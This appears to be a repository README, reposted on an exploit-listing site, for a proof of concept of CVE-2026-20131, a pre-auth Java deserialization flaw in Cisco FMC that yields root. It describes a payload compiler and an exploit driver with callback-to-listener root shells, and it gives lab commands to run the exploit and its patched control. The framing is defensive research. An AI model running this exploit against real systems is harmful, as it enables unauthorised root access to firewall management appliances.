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B63-POC-CVE-2026-20131 — CVE-2026-20131 (Cisco FMC): pre-auth Java deserialization to root — VERIFIED-AT-PRIMITIVE showcase artifact (rebuilt twins; appliance not executed, entitlement-gated) | Kitploit
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basesixtythree/b63-poc-cve-2026-20131

B63-POC-CVE-2026-20131

CVE-2026-20131 (Cisco FMC): pre-auth Java deserialization to root — VERIFIED-AT-PRIMITIVE showcase artifact (rebuilt twins; appliance not executed, entitlement-gated)

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24 days agoNot yet reviewed
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CVE-2026-20131 -- unauthenticated Java deserialization, root on a firewall management interface

[b63] b63 -- Agentic Exploit Foundry

verification=VERIFIED-AT-PRIMITIVE (rebuilt target)

The appliance was never executed. The twins are rebuilds. Root execution was beacon-verified on the rebuilt target only. Appliance impact is documented, not reproduced here (entitlement-gated).

VERIFIED-AT-PRIMITIVE means: the primitive (unauthenticated Java deserialization reaching ObjectInputStream.readObject() in a root web tier) plus the full exploitation path -- differential sink discovery, hand-compiled payload, beacon-confirmed root execution, interactive root shell, two-stage appliance-fetched script execution -- is captured, end to end, on a rebuilt target. The Cisco FMC appliance itself is not claimed, tested, or reproduced here: FMC images require Cisco entitlement (CCO login + Smart Account), and obtaining one outside that process is out of bounds. Everything below the primitive on the real appliance is documented, not reproduced.

What this repository is

  • 03_exploit/*/jserial.py -- a hand-written Java serialization wire-format compiler in Python (no JDK, no ysoserial, no JAR): stream magic, class descriptors with dumped SUIDs/flags/field layouts, TC_OBJECT/TC_ARRAY/ TC_CLASS/TC_REFERENCE handling, custom writeObject bodies. Its output is proven byte-equivalent to the platform's own ObjectOutputStream -- exactly one differing byte per stream (the unused HashMap threshold field), and the JVM parses both (04_verify/25-21-payload-equivalence-labelled.txt).
  • 03_exploit/*/fmc_exploit.py -- the exploit driver, two builds (fast opt, audit-grade readable): fingerprint, differential path discovery (serialized sentinel vs equal-length zero-filled control), cc3/cc4 chain fallback, beacon-verified delivery. Success is a target-initiated callback, never an HTTP status.
  • 02_lab/ -- the rebuilt target (Tomcat 9 / JDK 17, root web tier, FMC-shaped fingerprinting surface, commons-collections 3.2.1 + 4.0) and the patched twin (ObjectInputFilter allowlist) for the causal negative. The gadget jars under 02_lab/libs/ are fetched at build time (Maven Central, pinned digests) -- they are not redistributed here.
  • 04_verify/ -- 34 captured transcripts governed by INDEX.txt (CURRENT / SUPERSEDED / INVALID), including 10/10 vulnerable-twin reliability and 5/5 patched-twin refusals with zero callbacks.

Known gaps -- read before citing

  1. Root is proven on the rebuilt surrogate, not the appliance. The vendor binary was never executed; claims about the appliance stop at "documented path to impact".
  2. The 9-path discovery set is a ranked hypothesis, not an inventory of the appliance's routes (differential evidence on the rebuilt target only).
  3. The allow-list twin is the fix shape (positive ObjectInputFilter allowlist), not Cisco's shipped patch.
  4. CC5 (an alternate chain family) remains UNRESOLVED behind an operator consent gate -- measured invalid in-run, downgraded honestly.

Alternative route (documented, not shipped)

A second, independent track reached the same primitive with ysoserial's CC6 chain plus a PayloadFix post-processor that defeats LazyMap's generation-time metadata cache (root execution nonce-verified 10/10, causal ObjectInputFilter negative: HTTP 403 FILTER-REJECT, empty receipt directory). Its technique is credited here as a documented alternative route; the shipped bundle needs no JDK, which is why it is canonical. The scope statement is identical for both routes: the Cisco binary itself is not executed.

Reproduce (authorised lab only)

# 0. fetch the two gadget jars (not shipped; sha256-pinned in the lab recipe)
#    Maven Central: commons-collections 3.2.1, commons-collections4 4.0
#    into 02_lab/libs/ -- see 05_deliver/lab-recipe.md for the pinned digests

# 1. build and start the rebuilt target + patched twin (loopback 18443/18444)
cd 02_lab && docker compose build && docker compose up -d
curl -s http://127.0.0.1:18443/ | grep -o 'Version [0-9.]*'   # 7.4.5 (vuln twin)
curl -s http://127.0.0.1:18444/ | grep -o 'Version [0-9.]*'   # 7.4.6 (patched twin)

# 2. vulnerable twin -- root execution proven by the target's own callback
cd ../03_exploit/exploit_opt
python3 fmc_exploit.py http://127.0.0.1:18443 --lhost <bridge-gateway> --lport 9001 \
        --cmd 'id; hostname'

# 3. patched twin -- same stream, causal refusal (exit 1, zero callbacks)
python3 fmc_exploit.py http://127.0.0.1:18444 --lhost <bridge-gateway> --lport 9002 \
        --path /api/fmc_platform/v1/info/serverversion --cmd 'id'
docker logs fmc-patched 2>&1 | tail -2
# ... deserialization failure: java.io.InvalidClassException: filter status: REJECTED

Full option table, shell and two-stage modes, and the "HTTP status is not the signal" reading guide: 05_deliver/README.md. Lab recipe (build, jars, classpath metadata dumps): 05_deliver/lab-recipe.md. Analysis: 05_deliver/writeup.md -- section 5 is what the verification actually runs against; section 8 is precisely what it does not claim.

Fixed vs vulnerable

StateExpectation
rebuilt vulnerable twin (7.4.5 shape)target-initiated PUT beacon, uid=0(root) output streamed back, /etc/shadow readable, interactive shell, two-stage script fetch
patched twin (ObjectInputFilter allowlist)InvalidClassException: filter status: REJECTED for both chain generations, zero callbacks, exit 1

Upgrade path (no promise)

If a licensed FMC image is ever obtained and the run is upgraded to a demonstrated-on-appliance result, this repository would be republished at a higher tier. Until then there is no promised follow-up; the gap list above is the honest ceiling.

DISCLAIMER

This repository is published for education and defence research only, to be used in an authorised laboratory environment on systems you own or are explicitly contracted to test. The exploit is verified against the rebuilt lab target in 02_lab/ on loopback. Running it against any Cisco FMC or other third-party appliance without written authorisation is unlawful in most jurisdictions. The publishable value here is the honesty machinery: a novel payload compiler and a model of how to report an appliance-class primitive without overclaiming.

License

MIT -- see LICENSE.

Manifest

MANIFEST.txt at the repository root lists sha256 over every shipped file as frozen for publication (generated after the identity scrub; it supersedes the run-time BUNDLE.sha256, which is not shipped).

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